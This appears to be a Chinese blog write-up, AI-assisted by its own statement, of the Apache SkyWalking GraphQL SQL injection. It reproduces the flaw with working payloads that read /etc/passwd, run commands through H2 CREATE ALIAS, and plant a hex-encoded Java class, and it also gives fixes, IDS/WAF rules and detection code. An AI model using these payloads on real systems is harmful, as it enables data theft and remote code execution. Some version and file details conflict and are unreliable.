创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。
准备工作
Docker的常用命令
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
漏洞原理分析
漏洞原理(SQL Injection)
Apache SkyWalking 中存在的 SQL 注入漏洞主要发生在其GraphQL 元数据查询功能中,对用户输入的通配符查询参数没有正确参数化处理,会将恶意输入直接拼接到后台 SQL 查询中,从而使攻击者能够控制查询语句。
- 漏洞分类为 CWE-89: Improper Neutralization of Special Elements used in an SQL Command(SQL 注入)。
- 当 SkyWalking 使用 H2、MySQL 或 TiDB 存储时,这些 SQL 注入问题尤其明显,因为实现中未正确设置 SQL 参数,导致攻击者可操纵查询逻辑。
- 成功利用可能允许远程攻击者 执行任意 SQL 命令,泄露、修改或破坏存储中的敏感数据。 该问题已在 SkyWalking 8.1.0 中修复。 该漏洞的攻击链是一个典型的从 外部请求 到 后端逻辑拼接 再到 数据库非法执行 的过程。
攻击场景流程图
- 攻击者构造请求:发送 POST 请求至
/graphql,在condition对象的metricName字段中注入 SQL 载荷。 - GraphQL 解析器:SkyWalking 的 OAP (Observability Analysis Platform) 服务器接收并解析 GraphQL 指令。
- H2/MySQL 持久化层:业务逻辑将
metricName作为原始字符串拼接到 SQL 查询语句中。 - 数据库执行:数据库执行了带有注入指令的语句(如报错注入、时间盲注或 H2 特有的 RCE 指令)。
- 回显/获取权限:攻击者通过响应延迟或报错信息获取敏感数据。
┌────────────┐ ① 构造 GraphQL 查询:POST /graphql
│ 攻击者 │ ──→ 在 condition.metricName 中注入 SQL 载荷
└────────────┘ 例如:{"metricName": "test' UNION SELECT ..."}
│
▼
┌─────────────────────┐
│ SkyWalking OAP │ 接收请求,解析 GraphQL
└─────────┬───────────┘
│ ② 将 metricName 拼接到 SQL 语句
▼
┌─────────────────────┐
│ 数据库(H2/MySQL) │ 执行恶意 SQL
└─────────┬───────────┘
│ ③ 返回结果或错误信息
▼
┌─────────────────────┐
│ 攻击者获取敏感数据 │
└─────────────────────┘
DFD 威胁建模(Data Flow + STRIDE)
[External Attacker]
|
| (1) Malicious GraphQL Request
v
[SkyWalking API Handler]
|
| (2) Injection point in SQL builder
v
[Database Engine]
|
v
[Data Store: Traces/Metadata]
STRIDE 分析
| 威胁类别 | 是否 | 说明 |
|---|---|---|
| Spoofing | ❌ | 无需伪造身份凭证 |
| Tampering | ✅ | 查询语句被篡改 |
| Repudiation | ⚠️ | 攻击者操作难以区分 |
| Information Disclosure | ✅ | 可读取敏感数据 |
| Denial of Service | ⚠️ | 可耗尽资源 |
| Elevation of Privilege | ⚠️ | 可间接影响系统配置 |
漏洞复现原理图示说明
攻击时序图
sequenceDiagram
participant A as 攻击者
participant WS as Web服务器
participant OAP as SkyWalking OAP
participant GQL as GraphQL解析器
participant BL as 业务逻辑层
participant DB as 数据库
participant SYS as 操作系统
A->>WS: 1. POST /graphql
Note over A: 请求体包含恶意GraphQL查询<br>metricName: "test' OR '1'='1"
WS->>OAP: 2. 转发请求
OAP->>GQL: 3. 解析GraphQL查询
GQL->>BL: 4. 提取condition.metricName
BL->>BL: 5. 拼接SQL语句
Note over BL: 生成: SELECT * FROM metrics<br>WHERE name = 'test' OR '1'='1'
BL->>DB: 6. 执行SQL查询
alt H2数据库RCE
DB->>DB: 7. 执行注入的H2命令
DB->>SYS: 8. 执行系统命令
SYS->>DB: 9. 返回命令结果
else MySQL注入
DB->>DB: 7. 执行SQL注入查询
DB->>DB: 8. 获取数据库信息
end
DB->>BL: 10. 返回查询结果
BL->>GQL: 11. 处理结果
GQL->>OAP: 12. 组装GraphQL响应
OAP->>WS: 13. 返回HTTP响应
WS->>A: 14. 返回攻击结果
Note over A: 根据响应获取敏感数据<br>或确认漏洞存在
标准 SQL 注入复现逻辑如下:
Input GraphQL:
{
wildcardField: "%' OR '1'='1"
}
|
SkyWalking builds SQL query:
SELECT * FROM table WHERE field LIKE '%'+input+'%'
|
Database execution:
field LIKE '%%' OR '1'='1%'
|
Attacker gets unexpected results or can chain other SQL commands
原理要点:
- 攻击者通过通配符和逻辑表达式掺入 SQL 控制结构
- 未进行参数化的查询将这些用户输入嵌入语句
- 数据库执行后可返回超出预期的数据或执行额外语句
漏洞产生于 LogQuery 的实现逻辑中,由于缺乏参数化查询,输入直接成为了 SQL 结构的一部分。
关键复现 Payload 示例:
{
"query": "query queryLogs($condition: LogQueryCondition) { queryLogs(condition: $condition) { total logs { content } } }",
"variables": {
"condition": {
"metricName": "sqli) OR 1=1--",
"state": "ALL",
"paging": { "pageSize": 10 }
}
}
}
- 注入点:
metricName字段。 - 原理:原本预期的 SQL 可能是
select ... from (select 1 from metric_name_table)。注入后变为select ... from (select 1 from sqli) OR 1=1--),成功改变了查询逻辑。
漏洞原理示意图
SQL拼接漏洞原理
正常查询:
GraphQL查询: {
query: {
condition: {
metricName: "cpu_usage"
}
}
}
生成的SQL: SELECT * FROM metrics WHERE name = 'cpu_usage'
存在漏洞的代码:
String sql = "SELECT * FROM metrics WHERE name = '" + metricName + "'";
攻击者注入:
metricName: "cpu_usage' UNION SELECT username, password FROM users -- "
生成的SQL:
SELECT * FROM metrics WHERE name = 'cpu_usage'
UNION SELECT username, password FROM users -- '
H2数据库RCE原理
H2数据库特性:
- 支持CREATE ALIAS创建Java函数
- 可以通过Java执行系统命令
攻击payload:
metricName: "test'; CREATE ALIAS EXEC SHELLCODE AS $$ String exec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\"); return s.hasNext() ? s.next() : \"\"; } $$; CALL EXEC('whoami') -- "
生成的SQL:
SELECT * FROM metrics WHERE name = 'test';
CREATE ALIAS EXEC SHELLCODE AS $$
String exec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(cmd).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
CALL EXEC('whoami') -- '
漏洞复现
发送以下的数据包。
POST /graphql HTTP/1.1
Host: 192.168.0.32:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336
{
"query":"query queryLogs($condition: LogQueryCondition) {
queryLogs(condition: $condition) {
total
logs {
serviceId
serviceName
isError
content
}
}
}
",
"variables":{
"condition":{
"metricName":"sqli",
"state":"ALL",
"paging":{
"pageSize":10
}
}
}
}
可以看到SQLI表不存在。出现这种报错,说明存在SQL注入。
修改metricName参数的值:
INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/etc/passwd', NULL) where 1=1--
这说明,我们可以通过sql注入读取网站文件信息。
import java.io.IOException;
public class evil {
static {
try {
Runtime.getRuntime().exec("touch /tmp/success");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
将以上代码保存为恶意代码evil.java,然后利用cursor或trae等agent模式将evil.java编译为evil.class,最后将evil.class转换为16进制数据。
INFORMATION_SCHEMA.USERS union all select file_write('cafebabe0000003200230a000800140a001500160800170a001500180700190a0005001a07001b07001c0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b29560100083c636c696e69743e01000d537461636b4d61705461626c6507001901000a536f7572636546696c650100096576696c2e6a6176610c0009000a07001d0c001e001f010012746f756368202f746d702f737563636573730c002000210100136a6176612f696f2f494f457863657074696f6e0c0022000a0100046576696c0100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b01000f7072696e74537461636b547261636500210007000800000000000300010009000a0001000b0000001d00010001000000052ab70001b100000001000c000000060001000000030009000d000e0001000b000000190000000100000001b100000001000c0000000600010000000e0008000f000a0001000b0000004f0002000100000012b800021203b6000457a700084b2ab60006b1000100000009000c00050002000c0000001600050000000600090009000c0007000d00080011000a00100000000700024c0700110400010012000000020013','evil.class'))a where 1=1 --
此时,Docker容器里面已经存在恶意软件evil.java。
接着我们想方设法让evil.java能够在目标服务器上执行,通过下方的yakit数据包和上方的版本对比可以查看到/tmp/success上传成功。
INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','evil','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=1 --
![[Snipaste_2026-02-06_18-36-48.png]]
溯源排查的思路和命令如下:
sudo find / -name "skywalking-oap-server.log" 2>/dev/null
cat /var/lib/docker/overlay2/77d6ac239cbbf6daadfa1be7be57637cba3efd2c562dd0564a057e8556b54a39/merged/mnt/skywalking/logs/skywalking-oap-server.log | grep -i metric --color -C5
或许该漏洞与 metersphere/CVE-2021-45788类似,参考以下命令。
sqlmap -r graph.txt --batch --dbms=hsqldb
修复建议
- 版本升级:立即升级至 SkyWalking 8.4.0 或更高版本。
- 参数化查询(根本解决):废弃字符串拼接,强制使用
PreparedStatement占位符。 - 输入验证:对
metricName进行白名单校验,仅允许符合监控指标命名规范的字符(如字母、数字、下划线)。 - 数据库加固:如果是 H2 数据库,确保关闭
CREATE ALIAS等高危功能,并以低权限账号运行。
伪代码级修复示例
以下展示了从“危险拼接”到“安全参数化”的具体代码逻辑演变。
❌ 漏洞代码(拼接逻辑)
// 位于 H2LogQueryDAO 或相关持久化层
public LogTable queryLogs(LogQueryCondition condition) {
String metricName = condition.getMetricName();
// 危险:直接将用户输入的 metricName 拼接到 SQL 字符串中
StringBuilder sql = new StringBuilder("select count(1) total from (select 1 from ");
sql.append(metricName); // 直接拼接,导致注入
sql.append(" where 1=1 ");
if (StringUtil.isNotEmpty(condition.getState())) {
sql.append(" and state = '").append(condition.getState()).append("'");
}
// 执行查询并返回结果...
return executeQuery(sql.toString());
}
✅ 修复后代码(参数化 + 严格校验)
public LogTable queryLogs(LogQueryCondition condition) {
String metricName = condition.getMetricName();
// 1. 严格输入校验:只允许字母、数字和下划线,防止闭合括号或注入关键字
if (!metricName.matches("^[a-zA-Z0-9_]+$")) {
throw new IllegalArgumentException("Invalid metric name format.");
}
// 2. 使用占位符构建查询(注意:表名通常不能参数化,但必须经过白名单校验)
// 对于可以参数化的条件(如 state),必须使用 PreparedStatement
StringBuilder sql = new StringBuilder("select count(1) total from (select 1 from ");
sql.append(metricName); // 此时 metricName 已通过正则校验,是安全的
sql.append(" where 1=1 ");
List<Object> parameters = new ArrayList<>();
if (StringUtil.isNotEmpty(condition.getState())) {
sql.append(" and state = ? "); // 使用问号占位符
parameters.add(condition.getState());
}
// 3. 执行参数化查询
return executeParameterizedQuery(sql.toString(), parameters.toArray());
}
修复方案1:参数化查询修复
// 修复前的漏洞代码
public class VulnerableMetricsDAO {
public List<Metric> findMetricsByName(String metricName) {
// 漏洞:直接字符串拼接
String sql = "SELECT * FROM metrics WHERE name = '" + metricName + "'";
return jdbcTemplate.query(sql, new MetricRowMapper());
}
}
// 修复后的安全代码
public class SecureMetricsDAO {
public List<Metric> findMetricsByName(String metricName) {
// 使用参数化查询
String sql = "SELECT * FROM metrics WHERE name = ?";
return jdbcTemplate.query(sql, new Object[]{metricName}, new MetricRowMapper());
}
// 或者使用命名参数
public List<Metric> findMetricsByNameSecure(String metricName) {
String sql = "SELECT * FROM metrics WHERE name = :metricName";
MapSqlParameterSource params = new MapSqlParameterSource();
params.addValue("metricName", metricName);
return namedParameterJdbcTemplate.query(sql, params, new MetricRowMapper());
}
}
修复方案2:输入验证和清理
// GraphQL解析器安全加固
@Component
public class SecureGraphQLResolver implements GraphQLQueryResolver {
private final MetricService metricService;
private final SqlInjectionValidator validator;
@GraphQLQuery
public List<MetricValue> readMetricsValues(@GraphQLArgument(name = "condition") MetricCondition condition) {
// 1. 输入验证
if (!isValidMetricName(condition.getMetricName())) {
throw new GraphQLException("Invalid metric name");
}
// 2. SQL注入检测
if (validator.hasSqlInjection(condition.getMetricName())) {
logSecurityAlert("SQL injection attempt", condition.getMetricName());
throw new SecurityException("Potential SQL injection detected");
}
// 3. 长度限制
if (condition.getMetricName().length() > 100) {
throw new IllegalArgumentException("Metric name too long");
}
return metricService.getMetrics(condition);
}
private boolean isValidMetricName(String name) {
// 白名单验证:只允许字母、数字、下划线、点号
return name != null && name.matches("^[a-zA-Z0-9_.-]+$");
}
}
// SQL注入检测器
@Component
public class SqlInjectionValidator {
private static final Pattern[] SQL_INJECTION_PATTERNS = {
Pattern.compile("(?i)(union|select|insert|update|delete|drop|alter|create)"),
Pattern.compile("(?i)(--|#|/\\*|\\*/|;|'|\")"),
Pattern.compile("(?i)(sleep|waitfor|benchmark)"),
Pattern.compile("(?i)(exec|execute|xp_cmdshell)"),
Pattern.compile("(?i)(information_schema|pg_catalog|sys\\.)")
};
public boolean hasSqlInjection(String input) {
if (input == null) {
return false;
}
for (Pattern pattern : SQL_INJECTION_PATTERNS) {
if (pattern.matcher(input).find()) {
return true;
}
}
return false;
}
}
修复方案3:数据库权限限制
-- 创建只读数据库用户
CREATE USER 'skywalking_ro'@'%' IDENTIFIED BY 'strong_password';
GRANT SELECT ON skywalking.* TO 'skywalking_ro'@'%';
-- 撤销危险权限
REVOKE ALL PRIVILEGES ON *.* FROM 'skywalking_app'@'%';
REVOKE GRANT OPTION ON skywalking.* FROM 'skywalking_app'@'%';
-- H2数据库安全配置(禁用危险函数)
-- 在H2连接URL中添加安全参数
jdbc:h2:~/skywalking;MODE=MySQL;DATABASE_TO_UPPER=false;INIT=RUNSCRIPT FROM 'init_secure.sql'
-- init_secure.sql 内容:
DROP ALIAS IF EXISTS EXEC;
DROP ALIAS IF EXISTS RUNCMD;
DROP ALIAS IF EXISTS SHELL;
修复方案4:GraphQL Schema安全配置
// 安全的GraphQL配置
@Configuration
public class SecureGraphQLConfig {
@Bean
public GraphQLSchema graphQLSchema(
GraphQLQueryResolver queryResolver,
GraphQLMutationResolver mutationResolver) {
return GraphQLSchema.newSchema()
.query(createQueryType(queryResolver))
.mutation(createMutationType(mutationResolver))
// 添加安全指令
.additionalDirective(new RateLimitDirective())
.additionalDirective(new SanitizeDirective())
// 限制查询复杂度
.maximumQueryDepth(10)
.maximumQueryComplexity(1000)
.build();
}
// 添加查询深度限制
@Bean
public GraphQL graphQL(GraphQLSchema graphQLSchema) {
return GraphQL.newGraphQL(graphQLSchema)
.instrumentation(new MaxQueryDepthInstrumentation(10))
.instrumentation(new MaxQueryComplexityInstrumentation(1000))
.preparsedDocumentProvider(new CachedPreparsedDocumentProvider())
.build();
}
}
修复方案5:WAF和网络层防护
# Nginx配置防护规则
http {
# 限制请求体大小
client_max_body_size 1m;
# GraphQL端点特殊防护
location /graphql {
# 启用WAF模块
modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/main.conf;
# 限制请求频率
limit_req zone=graphql_limit burst=10 nodelay;
# 检查Content-Type
if ($content_type != "application/json") {
return 415;
}
# 检测SQL注入特征
set $block_sql 0;
if ($request_body ~* "(union|select|insert|update|delete|drop|alter).*from.*information_schema") {
set $block_sql 1;
}
if ($request_body ~* "(exec|execute|xp_cmdshell|shell|cmd)") {
set $block_sql 1;
}
if ($request_body ~* "--|#|/\\*|\\*/|;") {
set $block_sql 1;
}
if ($block_sql = 1) {
return 403;
}
proxy_pass http://skywalking_oap:12800;
}
# 创建限流zone
limit_req_zone $binary_remote_addr zone=graphql_limit:10m rate=5r/s;
}
基于该漏洞的检测与防护规则
虽然 SkyWalking SQL 注入更多是内部存储层缺陷,但可以从 Web 请求/GraphQL 请求层面部署检测规则进行防护。
- IDS/IPS规则示例 针对该漏洞,WAF 应重点关注 GraphQL 接口中的 JSON 载荷:
- 匹配路径:
/graphql - 匹配特征:在 POST 请求体中,定位
metricName键值对。 - 拦截关键字:检查值中是否包含
),--,UNION,SELECT,SLEEP(,CAST(等 SQL 注入特征字符。
# Suricata规则
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"SKYWALKING GraphQL SQL Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/graphql"; http_uri;
content:"application/json"; http_content_type;
content:"metricName"; http_client_body;
pcre:"/metricName[\"']?\s*:\s*[\"'][^\"']*['\"]\s*(union|select|insert|update|delete|drop|alter|exec|execute|xp_cmdshell|sleep|waitfor|benchmark|information_schema)/i";
classtype:web-application-attack;
sid:2024003;
rev:2;
)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"SKYWALKING H2 Database RCE Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/graphql"; http_uri;
content:"CREATE ALIAS"; http_client_body;
content:"Runtime.getRuntime"; http_client_body;
content:"exec"; http_client_body;
classtype:attempted-admin;
sid:2024004;
rev:1;
)
- 应用层监控规则
# SkyWalking SQL注入检测脚本
import json
import re
from datetime import datetime
class SkyWalkingSecurityMonitor:
SQL_INJECTION_PATTERNS = [
r"union.*select",
r"select.*from.*information_schema",
r"exec\(.*\)",
r"xp_cmdshell",
r";\s*CREATE\s+ALIAS",
r"Runtime\.getRuntime\(\)\.exec",
r"sleep\([0-9]+\)",
r"benchmark\([0-9]+,",
r"' OR '1'='1",
r"1' AND '1'='1",
]
def __init__(self, log_file):
self.log_file = log_file
self.compiled_patterns = [re.compile(p, re.IGNORECASE)
for p in self.SQL_INJECTION_PATTERNS]
def analyze_graphql_request(self, request_body):
"""分析GraphQL请求是否包含SQL注入"""
try:
data = json.loads(request_body)
# 检查metricName字段
if 'variables' in data and 'condition' in data['variables']:
condition = data['variables']['condition']
if 'metricName' in condition:
metric_name = condition['metricName']
for pattern in self.compiled_patterns:
if pattern.search(metric_name):
return {
'threat': 'SQL_INJECTION',
'metric_name': metric_name,
'pattern': pattern.pattern,
'timestamp': datetime.now().isoformat()
}
return None
except json.JSONDecodeError:
return {'error': 'Invalid JSON'}
def monitor_logs(self):
"""监控日志文件检测攻击"""
alerts = []
with open(self.log_file, 'r') as f:
for line in f:
if '/graphql' in line and 'metricName' in line:
alert = self.analyze_graphql_request(line)
if alert:
alerts.append(alert)
return alerts
# 使用示例
monitor = SkyWalkingSecurityMonitor('/var/log/skywalking/access.log')
alerts = monitor.monitor_logs()
for alert in alerts:
print(f"安全警报: {alert}")
基于 Flask 的实时检测与防护(应用层)
部署一个 Flask 应用作为反向代理/API 网关,对所有进入 SkyWalking OAP 的请求进行预处理,拦截包含 SQL 注入特征的 GraphQL 查询。
1.1 Flask 中间件:检测 GraphQL 请求体中的注入特征
# skywalking_proxy.py
import re
import json
import time
from flask import Flask, request, abort, jsonify
app = Flask(__name__)
# 敏感路径
SENSITIVE_PATHS = ['/graphql']
# SQL 注入特征正则
SQLI_PATTERNS = [
re.compile(r'if\s*\(', re.I),
re.compile(r'sleep\s*\(', re.I),
re.compile(r'union\s+select', re.I),
re.compile(r'select\s+.*\s+from', re.I),
re.compile(r'insert\s+into', re.I),
re.compile(r'update\s+.*\s+set', re.I),
re.compile(r'delete\s+from', re.I),
re.compile(r'drop\s+table', re.I),
re.compile(r'create\s+alias', re.I), # H2 RCE
re.compile(r'--', re.I),
re.compile(r'#', re.I),
re.compile(r';', re.I),
re.compile(r"'", re.I),
]
def extract_graphql_fields(data):
"""递归提取 GraphQL 查询中的字符串字段值"""
fields = []
if isinstance(data, dict):
for key, value in data.items():
if isinstance(value, str):
fields.append(value)
else:
fields.extend(extract_graphql_fields(value))
elif isinstance(data, list):
for item in data:
fields.extend(extract_graphql_fields(item))
return fields
def check_graphql_for_injection(request_body):
"""检查 GraphQL 请求体是否包含 SQL 注入特征"""
try:
data = json.loads(request_body)
# 提取所有字符串值
values = extract_graphql_fields(data)
for val in values:
for pattern in SQLI_PATTERNS:
if pattern.search(val):
return True
except:
pass
return False
# 速率限制(内存实现)
request_records = {}
def rate_limit(ip, limit=20, window=60):
now = time.time()
if ip not in request_records:
request_records[ip] = []
request_records[ip] = [t for t in request_records[ip] if now - t < window]
if len(request_records[ip]) >= limit:
return True
request_records[ip].append(now)
return False
@app.before_request
def before_request():
# 1. 只处理 /graphql 路径
if request.path not in SENSITIVE_PATHS:
return
# 2. 检查请求体是否为 JSON
if request.is_json:
body = request.get_data(as_text=True)
if check_graphql_for_injection(body):
log_attack(request, 'sqli_in_graphql', body[:200])
abort(403, description='Malicious GraphQL query detected')
# 3. 速率限制(防止扫描)
if rate_limit(request.remote_addr):
abort(429, description='Too many requests')
@app.errorhandler(403)
def forbidden(e):
return jsonify(error='Forbidden'), 403
@app.errorhandler(429)
def too_many(e):
return jsonify(error='Too many requests'), 429
def log_attack(request, attack_type, payload):
with open('skywalking_attack.log', 'a') as f:
f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type} - {payload}\n")
# 转发请求到后端 SkyWalking OAP
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
# 实际应转发到 SkyWalking OAP(如 http://localhost:12800)
return f"Proxied to {path}"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
基于 TensorFlow 的异常行为检测
利用机器学习模型识别针对 SkyWalking 的异常请求模式,特别是 GraphQL 查询中的异常字符串内容。 2.1 特征工程 从每个请求中提取特征,构建数据集。特征包括:
path_length: 请求路径长度is_graphql: 是否访问/graphql(0/1)body_length: 请求体长度string_count: 请求体中字符串值的数量max_string_length: 最长字符串的长度special_char_ratio: 所有字符串中特殊字符的比例has_union: 是否包含union select(0/1)has_sleep: 是否包含sleep函数 (0/1)has_h2_rce: 是否包含create alias(0/1)hour: 请求小时ip_reputation: IP 信誉分user_agent_length: User-Agent 长度is_known_ua: 是否常见浏览器 UArequest_freq_10min: 该IP最近10分钟请求数is_authenticated: 是否已认证(0/1,SkyWalking 可能无需认证)
def extract_features(request_entry, history):
features = [
len(request_entry['path']),
1 if request_entry['path'] == '/graphql' else 0,
request_entry.get('body_length', 0),
request_entry.get('string_count', 0),
request_entry.get('max_string_length', 0),
request_entry.get('special_char_ratio', 0),
request_entry.get('has_union', 0),
request_entry.get('has_sleep', 0),
request_entry.get('has_h2_rce', 0),
request_entry['timestamp'].hour,
ip_reputation(request_entry['ip']),
len(request_entry['user_agent']),
1 if 'Mozilla' in request_entry['user_agent'] else 0,
history['freq_10min'],
int(request_entry['is_auth'])
]
return features
2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。
import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split
# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
model = models.Sequential([
layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
layers.Dropout(0.3),
layers.Dense(32, activation='relu'),
layers.Dropout(0.3),
layers.Dense(16, activation='relu'),
layers.Dense(1, activation='sigmoid')
])
model.compile(optimizer='adam',
loss='binary_crossentropy',
metrics=['accuracy'])
model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)
# 保存模型
model.save('skywalking_sqli_model.h5')
2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。
from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime
model = load_model('skywalking_sqli_model.h5')
THRESHOLD = 0.8
def get_ip_history(ip):
# 从缓存获取历史统计(如Redis)
return {'freq_10min': 0}
def ip_reputation(ip):
return 0
@app.before_request
def before_request():
# ... 之前的基础检测 ...
if request.path == '/graphql' and request.is_json:
body = request.get_data(as_text=True)
try:
data = json.loads(body)
strings = extract_graphql_fields(data)
string_count = len(strings)
max_len = max((len(s) for s in strings), default=0)
special_ratio = sum(not c.isalnum() for s in strings for c in s) / (sum(len(s) for s in strings) + 1)
has_union = 1 if any('union select' in s.lower() for s in strings) else 0
has_sleep = 1 if any('sleep' in s.lower() for s in strings) else 0
has_h2 = 1 if any('create alias' in s.lower() for s in strings) else 0
except:
string_count = 0
max_len = 0
special_ratio = 0
has_union = 0
has_sleep = 0
has_h2 = 0
request_entry = {
'ip': request.remote_addr,
'path': request.path,
'body_length': len(body),
'string_count': string_count,
'max_string_length': max_len,
'special_char_ratio': special_ratio,
'has_union': has_union,
'has_sleep': has_sleep,
'has_h2_rce': has_h2,
'user_agent': request.headers.get('User-Agent', ''),
'is_auth': False,
'timestamp': datetime.now()
}
history = get_ip_history(request.remote_addr)
if predict_anomaly(request_entry, history):
log_attack(request, 'ml_anomaly', body[:200])
abort(403, description='Suspicious behavior detected')
def predict_anomaly(request_entry, history):
features = extract_features(request_entry, history)
prob = model.predict(np.array([features]))[0][0]
return prob > THRESHOLD
基于 ModSecurity 的 WAF 规则
在 Apache/NGINX 中部署 ModSecurity,拦截对 SkyWalking GraphQL 接口的 SQL 注入尝试。 3.1 基础规则
# modsecurity_crs_78_skywalking_sqli.conf
# 规则1:检测 GraphQL 请求体中的 SQL 关键字
SecRule REQUEST_BODY "@rx (?i)(union\s+select|select\s+.*\s+from|insert\s+into|update\s+.*\s+set|delete\s+from|drop\s+table|create\s+alias|sleep\s*\()" \
"id:1015001,\
phase:2,\
t:none,\
deny,\
status:403,\
msg:'SkyWalking SQL injection attempt in GraphQL',\
logdata:'Matched: %{MATCHED_VAR}',\
tag:'attack-sqli',\
tag:'skywalking',\
severity:'CRITICAL'"
# 规则2:检测注释符或分号
SecRule REQUEST_BODY "@rx (--|#|;)" \
"id:1015002,\
phase:2,\
t:none,\
deny,\
status:403,\
msg:'SkyWalking SQL injection - suspicious characters',\
tag:'attack-sqli',\
severity:'HIGH'"
# 规则3:对 /graphql 端点进行速率限制
SecRule REQUEST_URI "@beginsWith /graphql" \
"id:1015003,\
phase:1,\
t:none,\
ver:'OWASP_CRS/4.0',\
block,\
msg:'SkyWalking GraphQL rate limiting',\
setvar:'tx.skywalking_graphql_counter_%{REMOTE_ADDR}=+1',\
expirevar:'tx.skywalking_graphql_counter_%{REMOTE_ADDR}=60'"
SecRule TX:skywalking_graphql_counter_%{REMOTE_ADDR} "@gt 30" \
"id:1015004,\
phase:1,\
block,\
msg:'Too many GraphQL requests',\
severity:'WARNING'"
3.2 部署示例(NGINX)
server {
listen 80;
server_name skywalking.example.com;
ModSecurityEnabled on;
ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;
location /graphql {
proxy_pass http://skywalking-oap:12800/graphql;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
总结:Apache SkyWalking SQL 注入漏洞通过 GraphQL 接口注入恶意 SQL。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用受影响版本的用户立即采取行动。 参考文章: [1]Apache Skywalking – Zgao's blog zgao.top/apache-skyw…